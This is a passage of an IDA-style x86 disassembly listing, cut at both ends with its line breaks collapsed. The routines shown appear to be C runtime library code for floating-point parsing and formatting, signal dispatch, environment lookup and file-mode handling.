sub_41F407+2A4j push 8 jmp short loc_41F6D7 ; --------------------------------------------------------------------------- loc_41F672: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o mov [ebp+var_20], edx ; jumptable 0041F46A case 8 loc_41F675: ; CODE XREF: sub_41F407+276j cmp bl, 30h jnz short loc_41F67F mov bl, [edi] inc edi jmp short loc_41F675 ; --------------------------------------------------------------------------- loc_41F67F: ; CODE XREF: sub_41F407+271j cmp bl, 31h jl loc_41F77A cmp bl, 39h jg loc_41F77A jmp short loc_41F69D ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o cmp bl, 31h ; jumptable 0041F46A case 7 jl short loc_41F6A6 cmp bl, 39h jg short loc_41F6A6 loc_41F69D: ; CODE XREF: sub_41F407+250j ; sub_41F407+28Aj push 9 loc_41F69F: ; CODE XREF: sub_41F407+76j pop eax loc_41F6A0: ; CODE XREF: sub_41F407+240j dec edi jmp loc_41F45E ; --------------------------------------------------------------------------- loc_41F6A6: ; CODE XREF: sub_41F407+28Fj ; sub_41F407+294j cmp bl, 30h jnz short loc_41F6EF jmp short loc_41F66E ; --------------------------------------------------------------------------- loc_41F6AD: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o cmp [ebp+arg_18], 0 ; jumptable 0041F46A case 11 jz short loc_41F6DD movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41F6D5 dec eax dec eax jnz loc_41F77D loc_41F6C9: ; CODE XREF: sub_41F407+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41F45E ; --------------------------------------------------------------------------- loc_41F6D5: ; CODE XREF: sub_41F407+258j ; sub_41F407+2B8j push 7 loc_41F6D7: ; CODE XREF: sub_41F407+85j ; sub_41F407+103j ... pop eax jmp loc_41F45E ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F407+2AAj push 0Ah dec edi pop eax loc_41F6E1: ; CODE XREF: sub_41F407+5Dj ; sub_41F407+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041F46A case 10 jz loc_41F77F jmp loc_41F45E ; --------------------------------------------------------------------------- loc_41F6EF: ; CODE XREF: sub_41F407+12Dj ; sub_41F407+238j ... mov edi, [ebp+arg_8] jmp loc_41F77F ; --------------------------------------------------------------------------- loc_41F6F7: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o mov [ebp+var_20], 1 ; jumptable 0041F46A case 9 xor esi, esi loc_41F700: ; CODE XREF: sub_41F407+339j cmp dword_43812C, 1 jle short loc_41F718 movzx eax, bl push 4 push eax call sub_418576 pop ecx pop ecx jmp short loc_41F727 ; --------------------------------------------------------------------------- loc_41F718: ; CODE XREF: sub_41F407+300j mov ecx, off_437F20 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41F727: ; CODE XREF: sub_41F407+30Fj test eax, eax jz short loc_41F747 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41F742 mov bl, [edi] inc edi jmp short loc_41F700 ; --------------------------------------------------------------------------- loc_41F742: ; CODE XREF: sub_41F407+334j mov esi, 1451h loc_41F747: ; CODE XREF: sub_41F407+322j mov [ebp+var_1C], esi loc_41F74A: ; CODE XREF: sub_41F407+371j cmp dword_43812C, 1 jle short loc_41F762 movzx eax, bl push 4 push eax call sub_418576 pop ecx pop ecx jmp short loc_41F771 ; --------------------------------------------------------------------------- loc_41F762: ; CODE XREF: sub_41F407+34Aj mov ecx, off_437F20 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41F771: ; CODE XREF: sub_41F407+359j test eax, eax jz short loc_41F77A mov bl, [edi] inc edi jmp short loc_41F74A ; --------------------------------------------------------------------------- loc_41F77A: ; CODE XREF: sub_41F407+99j ; sub_41F407+E4j ... dec edi jmp short loc_41F77F ; --------------------------------------------------------------------------- loc_41F77D: ; CODE XREF: sub_41F407+261j ; sub_41F407+2BCj mov edi, ecx loc_41F77F: ; CODE XREF: sub_41F407+2DDj ; sub_41F407+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41F867 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41F7AB cmp [ebp+var_45], 5 jl short loc_41F79F inc [ebp+var_45] loc_41F79F: ; CODE XREF: sub_41F407+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41F7AE ; --------------------------------------------------------------------------- loc_41F7AB: ; CODE XREF: sub_41F407+38Dj mov eax, [ebp+var_C] loc_41F7AE: ; CODE XREF: sub_41F407+3A2j cmp [ebp+var_4], 0 jbe loc_41F85D loc_41F7B8: ; CODE XREF: sub_41F407+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41F7C6 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41F7B8 ; --------------------------------------------------------------------------- loc_41F7C6: ; CODE XREF: sub_41F407+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41F340 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41F7E5 neg eax loc_41F7E5: ; CODE XREF: sub_41F407+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41F7F0 add eax, [ebp+arg_10] loc_41F7F0: ; CODE XREF: sub_41F407+3E4j cmp [ebp+var_24], ecx jnz short loc_41F7F8 sub eax, [ebp+arg_14] loc_41F7F8: ; CODE XREF: sub_41F407+3ECj cmp eax, 1450h jle short loc_41F82F mov [ebp+var_2C], 1 loc_41F806: ; CODE XREF: sub_41F407+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41F812: ; CODE XREF: sub_41F407+454j ; sub_41F407+45Ej cmp [ebp+var_2C], 0 jz short loc_41F878 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41F88D ; --------------------------------------------------------------------------- loc_41F82F: ; CODE XREF: sub_41F407+3F6j cmp eax, 0FFFFEBB0h jge short loc_41F83F mov [ebp+var_30], 1 jmp short loc_41F806 ; --------------------------------------------------------------------------- loc_41F83F: ; CODE XREF: sub_41F407+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41FFF0 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41F812 ; --------------------------------------------------------------------------- loc_41F85D: ; CODE XREF: sub_41F407+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41F812 ; --------------------------------------------------------------------------- loc_41F867: ; CODE XREF: sub_41F407+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41F88D ; --------------------------------------------------------------------------- loc_41F878: ; CODE XREF: sub_41F407+40Fj cmp [ebp+var_30], 0 jz short loc_41F88D xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41F88D: ; CODE XREF: sub_41F407+426j ; sub_41F407+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41F407 endp ; --------------------------------------------------------------------------- off_41F8A8 dd offset loc_41F471 ; DATA XREF: sub_41F407+63r dd offset loc_41F4C0 ; jump table for switch statement dd offset loc_41F517 dd offset loc_41F541 dd offset loc_41F59C dd offset loc_41F613 dd offset loc_41F649 dd offset loc_41F693 dd offset loc_41F672 dd offset loc_41F6F7 dd offset loc_41F6E1 dd offset loc_41F6AD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8D8 proc near ; CODE XREF: sub_41E67B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41F93A mov byte ptr [ebx+2], 2Dh jmp short loc_41F93E ; --------------------------------------------------------------------------- loc_41F93A: ; CODE XREF: sub_41F8D8+5Aj mov byte ptr [ebx+2], 20h loc_41F93E: ; CODE XREF: sub_41F8D8+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41F964 test edi, edi jnz short loc_41F964 cmp [ebp+arg_0], edi jnz short loc_41F964 loc_41F94F: ; CODE XREF: sub_41F8D8+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41FB62 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8D8+6Cj ; sub_41F8D8+70j ... cmp dx, si jnz short loc_41F9E3 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41F97D cmp [ebp+arg_0], 0 jz short loc_41F98C loc_41F97D: ; CODE XREF: sub_41F8D8+9Dj test edi, 40000000h jnz short loc_41F98C push offset a1Snan ; "1#SNAN" jmp short loc_41F9D2 ; --------------------------------------------------------------------------- loc_41F98C: ; CODE XREF: sub_41F8D8+A3j ; sub_41F8D8+ABj test cx, cx jz short loc_41F9A6 cmp edi, 0C0000000h jnz short loc_41F9A6 cmp [ebp+arg_0], 0 jnz short loc_41F9CD push offset a1Ind ; "1#IND" jmp short loc_41F9B5 ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8D8+B7j ; sub_41F8D8+BFj cmp edi, eax jnz short loc_41F9CD cmp [ebp+arg_0], 0 jnz short loc_41F9CD push offset a1Inf ; "1#INF" loc_41F9B5: ; CODE XREF: sub_41F8D8+CCj lea eax, [ebx+4] push eax call sub_415A20 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41F9C4: ; CODE XREF: sub_41F8D8+109j and [ebp+var_4], 0 jmp loc_41FB3B ; --------------------------------------------------------------------------- loc_41F9CD: ; CODE XREF: sub_41F8D8+C5j ; sub_41F8D8+D0j ... push offset a1Qnan ; "1#QNAN" loc_41F9D2: ; CODE XREF: sub_41F8D8+B2j lea eax, [ebx+4] push eax call sub_415A20 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41F9C4 ; --------------------------------------------------------------------------- loc_41F9E3: ; CODE XREF: sub_41F8D8+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41FFF0 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41FA44 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41FDD0 pop ecx pop ecx loc_41FA44: ; CODE XREF: sub_41F8D8+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41FA5E mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41FA61 jmp loc_41F94F ; --------------------------------------------------------------------------- loc_41FA5E: ; CODE XREF: sub_41F8D8+173j mov edi, [ebp+arg_C] loc_41FA61: ; CODE XREF: sub_41F8D8+17Fj cmp edi, 15h jle short loc_41FA69 push 15h pop edi loc_41FA69: ; CODE XREF: sub_41F8D8+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41FA7F: ; CODE XREF: sub_41F8D8+1B4j lea eax, [ebp+var_10] push eax call sub_41F2E5 dec [ebp+arg_14] pop ecx jnz short loc_41FA7F test esi, esi jge short loc_41FAA9 neg esi and esi, 0FFh jle short loc_41FAA9 loc_41FA9C: ; CODE XREF: sub_41F8D8+1CFj lea eax, [ebp+var_10] push eax call sub_41F313 dec esi pop ecx jnz short loc_41FA9C loc_41FAA9: ; CODE XREF: sub_41F8D8+1B8j ; sub_41F8D8+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41FB06 mov [ebp+arg_C], ecx loc_41FAB9: ; CODE XREF: sub_41F8D8+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41F2E5 lea eax, [ebp+var_10] push eax call sub_41F2E5 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41F287 lea eax, [ebp+var_10] push eax call sub_41F2E5 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41FAB9 mov eax, [ebp+arg_14] loc_41FB06: ; CODE XREF: sub_41F8D8+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41FB43 loc_41FB13: ; CODE XREF: sub_41F8D8+248j cmp eax, ecx jb short loc_41FB26 cmp byte ptr [eax], 39h jnz short loc_41FB22 mov byte ptr [eax], 30h dec eax jmp short loc_41FB13 ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41F8D8+242j cmp eax, ecx jnb short loc_41FB2A loc_41FB26: ; CODE XREF: sub_41F8D8+23Dj inc eax inc word ptr [ebx] loc_41FB2A: ; CODE XREF: sub_41F8D8+24Cj inc byte ptr [eax] loc_41FB2C: ; CODE XREF: sub_41F8D8+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41FB3B: ; CODE XREF: sub_41F8D8+F0j mov eax, [ebp+var_4] loc_41FB3E: ; CODE XREF: sub_41F8D8+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41FB43: ; CODE XREF: sub_41F8D8+239j ; sub_41F8D8+275j cmp eax, ecx jb short loc_41FB53 cmp byte ptr [eax], 30h jnz short loc_41FB4F dec eax jmp short loc_41FB43 ; --------------------------------------------------------------------------- loc_41FB4F: ; CODE XREF: sub_41F8D8+272j cmp eax, ecx jnb short loc_41FB2C loc_41FB53: ; CODE XREF: sub_41F8D8+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41FB62: ; CODE XREF: sub_41F8D8+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41FB3E sub_41F8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB6B proc near ; CODE XREF: sub_41B42C+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41FBD2 dec eax dec eax jz short loc_41FBC3 sub eax, 4 jz short loc_41FBC3 sub eax, 3 jz short loc_41FBC3 sub eax, 4 jz short loc_41FBB6 sub eax, 6 jz short loc_41FBA9 dec eax jz short loc_41FB9C or eax, 0FFFFFFFFh jmp loc_41FC94 ; --------------------------------------------------------------------------- loc_41FB9C: ; CODE XREF: sub_41FB6B+27j mov esi, dword_46B914 mov eax, offset dword_46B914 jmp short loc_41FBDD ; --------------------------------------------------------------------------- loc_41FBA9: ; CODE XREF: sub_41FB6B+24j mov esi, dword_46B910 mov eax, offset dword_46B910 jmp short loc_41FBDD ; --------------------------------------------------------------------------- loc_41FBB6: ; CODE XREF: sub_41FB6B+1Fj mov esi, dword_46B918 mov eax, offset dword_46B918 jmp short loc_41FBDD ; --------------------------------------------------------------------------- loc_41FBC3: ; CODE XREF: sub_41FB6B+10j ; sub_41FB6B+15j ... push edi call sub_41FC98 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41FBDD ; --------------------------------------------------------------------------- loc_41FBD2: ; CODE XREF: sub_41FB6B+Cj mov esi, dword_46B90C mov eax, offset dword_46B90C loc_41FBDD: ; CODE XREF: sub_41FB6B+3Cj ; sub_41FB6B+49j ... cmp esi, 1 jnz short loc_41FBE9 xor eax, eax jmp loc_41FC94 ; --------------------------------------------------------------------------- loc_41FBE9: ; CODE XREF: sub_41FB6B+75j test esi, esi jnz short loc_41FBF4 push 3 call sub_417858 loc_41FBF4: ; CODE XREF: sub_41FB6B+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41FC06 cmp edi, 0Bh jz short loc_41FC06 cmp edi, 4 jnz short loc_41FC2C loc_41FC06: ; CODE XREF: sub_41FB6B+8Fj ; sub_41FB6B+94j mov ebx, dword_46B6E8 and dword_46B6E8, 0 cmp edi, ecx jnz short loc_41FC5B mov edx, dword_43A59C mov dword_43A59C, 8Ch mov [ebp+arg_0], edx jmp short loc_41FC2F ; --------------------------------------------------------------------------- loc_41FC2C: ; CODE XREF: sub_41FB6B+99j mov ebx, [ebp+arg_0] loc_41FC2F: ; CODE XREF: sub_41FB6B+BFj cmp edi, ecx jnz short loc_41FC5B mov eax, dword_43A590 mov ecx, dword_43A594 add ecx, eax cmp eax, ecx jge short loc_41FC62 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43A520h[edx*4] loc_41FC50: ; CODE XREF: sub_41FB6B+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41FC50 jmp short loc_41FC62 ; --------------------------------------------------------------------------- loc_41FC5B: ; CODE XREF: sub_41FB6B+AAj ; sub_41FB6B+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41FC70 loc_41FC62: ; CODE XREF: sub_41FB6B+D7j ; sub_41FB6B+EEj push dword_43A59C push 8 call esi pop ecx pop ecx jmp short loc_41FC7E ; --------------------------------------------------------------------------- loc_41FC70: ; CODE XREF: sub_41FB6B+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41FC7E cmp edi, 4 jnz short loc_41FC91 loc_41FC7E: ; CODE XREF: sub_41FB6B+103j ; sub_41FB6B+10Cj cmp edi, 8 mov dword_46B6E8, ebx jnz short loc_41FC91 mov eax, [ebp+arg_0] mov dword_43A59C, eax loc_41FC91: ; CODE XREF: sub_41FB6B+111j ; sub_41FB6B+11Cj xor eax, eax pop ebx loc_41FC94: ; CODE XREF: sub_41FB6B+2Cj ; sub_41FB6B+79j pop edi pop esi pop ebp retn sub_41FB6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FC98 proc near ; CODE XREF: sub_41FB6B+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43A598 cmp dword_43A51C, edx push esi mov eax, offset dword_43A518 jz short loc_41FCC6 lea esi, [ecx+ecx*2] lea esi, ds:43A518h[esi*4] loc_41FCBA: ; CODE XREF: sub_41FC98+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41FCC6 cmp [eax+4], edx jnz short loc_41FCBA loc_41FCC6: ; CODE XREF: sub_41FC98+16j ; sub_41FC98+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43A518h[ecx*4] cmp eax, ecx jnb short loc_41FCDA cmp [eax+4], edx jz short locret_41FCDC loc_41FCDA: ; CODE XREF: sub_41FC98+3Bj xor eax, eax locret_41FCDC: ; CODE XREF: sub_41FC98+40j retn sub_41FC98 endp ; =============== S U B R O U T I N E ======================================= sub_41FCDD proc near ; CODE XREF: sub_41EA02+23p arg_0 = dword ptr 4 cmp dword_46CCB0, 0 push ebx push esi mov esi, dword_46B65C push edi jz short loc_41FD54 test esi, esi jnz short loc_41FD0E cmp dword_46B664, esi jz short loc_41FD54 call sub_4200AB test eax, eax jnz short loc_41FD54 mov esi, dword_46B65C test esi, esi jz short loc_41FD54 loc_41FD0E: ; CODE XREF: sub_41FCDD+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41FD54 push ebx call sub_415B10 pop ecx mov edi, eax loc_41FD1F: ; CODE XREF: sub_41FCDD+6Dj mov eax, [esi] test eax, eax jz short loc_41FD54 push eax call sub_415B10 cmp eax, edi pop ecx jbe short loc_41FD47 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41FD47 push edi push ebx push eax call sub_42006C add esp, 0Ch test eax, eax jz short loc_41FD4C loc_41FD47: ; CODE XREF: sub_41FCDD+51j ; sub_41FCDD+59j add esi, 4 jmp short loc_41FD1F ; --------------------------------------------------------------------------- loc_41FD4C: ; CODE XREF: sub_41FCDD+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41FD56 ; --------------------------------------------------------------------------- loc_41FD54: ; CODE XREF: sub_41FCDD+10j ; sub_41FCDD+1Cj ... xor eax, eax loc_41FD56: ; CODE XREF: sub_41FCDD+75j pop edi pop esi pop ebx retn sub_41FCDD endp ; =============== S U B R O U T I N E ======================================= sub_41FD5A proc near ; CODE XREF: sub_41F120+8Bp ; sub_41F120+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_46CA60 jnb short loc_41FDC1 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46C960[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41FDC1 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41FD9A and cl, 7Fh jmp short loc_41FDA7 ; --------------------------------------------------------------------------- loc_41FD9A: ; CODE XREF: sub_41FD5A+39j cmp [esp+4+arg_4], 4000h jnz short loc_41FDB5 or cl, 80h loc_41FDA7: ; CODE XREF: sub_41FD5A+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41FDB5: ; CODE XREF: sub_41FD5A+48j mov dword_46B634, 16h jmp short loc_41FDCB ; --------------------------------------------------------------------------- loc_41FDC1: ; CODE XREF: sub_41FD5A+Bj ; sub_41FD5A+27j mov dword_46B634, 9 loc_41FDCB: ; CODE XREF: sub_41FD5A+65j or eax, 0FFFFFFFFh pop esi retn sub_41FD5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDD0 proc near ; CODE XREF: sub_41F8D8+165p ; sub_41FFF0+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41FFD0 cmp cx, 7FFFh jnb loc_41FFD0 cmp dx, 0BFFDh ja loc_41FFD0 cmp dx, 3FBFh ja short loc_41FE39 xor eax, eax jmp short loc_41FE73 ; --------------------------------------------------------------------------- loc_41FE39: ; CODE XREF: sub_41FDD0+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41FE5B inc [ebp+arg_0] test [esi+8], edx jnz short loc_41FE5B xor eax, eax cmp [esi+4], eax jnz short loc_41FE5D cmp [esi], eax jnz short loc_41FE5D jmp loc_41FFCA ; --------------------------------------------------------------------------- loc_41FE5B: ; CODE XREF: sub_41FDD0+71j ; sub_41FDD0+79j xor eax, eax loc_41FE5D: ; CODE XREF: sub_41FDD0+80j ; sub_41FDD0+84j cmp cx, ax jnz short loc_41FE80 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41FE80 cmp [ebx+4], eax jnz short loc_41FE80 cmp [ebx], eax jnz short loc_41FE80 loc_41FE73: ; CODE XREF: sub_41FDD0+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41FFEB ; --------------------------------------------------------------------------- loc_41FE80: ; CODE XREF: sub_41FDD0+90j ; sub_41FDD0+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41FE90: ; CODE XREF: sub_41FDD0+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41FEE4 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41FEAC: ; CODE XREF: sub_41FDD0+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41F266 add esp, 0Ch test eax, eax jz short loc_41FED7 mov eax, [ebp+var_4] inc word ptr [eax] loc_41FED7: ; CODE XREF: sub_41FDD0+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41FEAC loc_41FEE4: ; CODE XREF: sub_41FDD0+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41FE90 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41FF27 loc_41FF02: ; CODE XREF: sub_41FDD0+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41FF20 lea eax, [ebp+var_24] push eax call sub_41F2E5 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41FF02 loc_41FF20: ; CODE XREF: sub_41FDD0+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41FF60 loc_41FF27: ; CODE XREF: sub_41FDD0+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41FF60 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41FF40: ; CODE XREF: sub_41FDD0+184j test byte ptr [ebp+var_24], 1 jz short loc_41FF49 inc [ebp+var_14] loc_41FF49: ; CODE XREF: sub_41FDD0+174j lea eax, [ebp+var_24] push eax call sub_41F313 dec ebx pop ecx jnz short loc_41FF40 cmp [ebp+var_14], 0 jz short loc_41FF60 or byte ptr [ebp+var_24], 1 loc_41FF60: ; CODE XREF: sub_41FDD0+155j ; sub_41FDD0+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41FF77 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41FFAC loc_41FF77: ; CODE XREF: sub_41FDD0+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41FFA9 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41FFA4 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41FF9E inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41FFAC ; --------------------------------------------------------------------------- loc_41FF9E: ; CODE XREF: sub_41FDD0+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41FFAC ; --------------------------------------------------------------------------- loc_41FFA4: ; CODE XREF: sub_41FDD0+1B5j inc [ebp+var_20+2] jmp short loc_41FFAC ; --------------------------------------------------------------------------- loc_41FFA9: ; CODE XREF: sub_41FDD0+1ABj inc [ebp+var_24+2] loc_41FFAC: ; CODE XREF: sub_41FDD0+1A5j ; sub_41FDD0+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41FFD0 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41FFCA: ; CODE XREF: sub_41FDD0+86j mov [esi+0Ah], ax jmp short loc_41FFEB ; --------------------------------------------------------------------------- loc_41FFD0: ; CODE XREF: sub_41FDD0+42j ; sub_41FDD0+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41FFEB: ; CODE XREF: sub_41FDD0+ABj ; sub_41FDD0+1FEj pop edi pop esi pop ebx leave retn sub_41FDD0 endp ; =============== S U B R O U 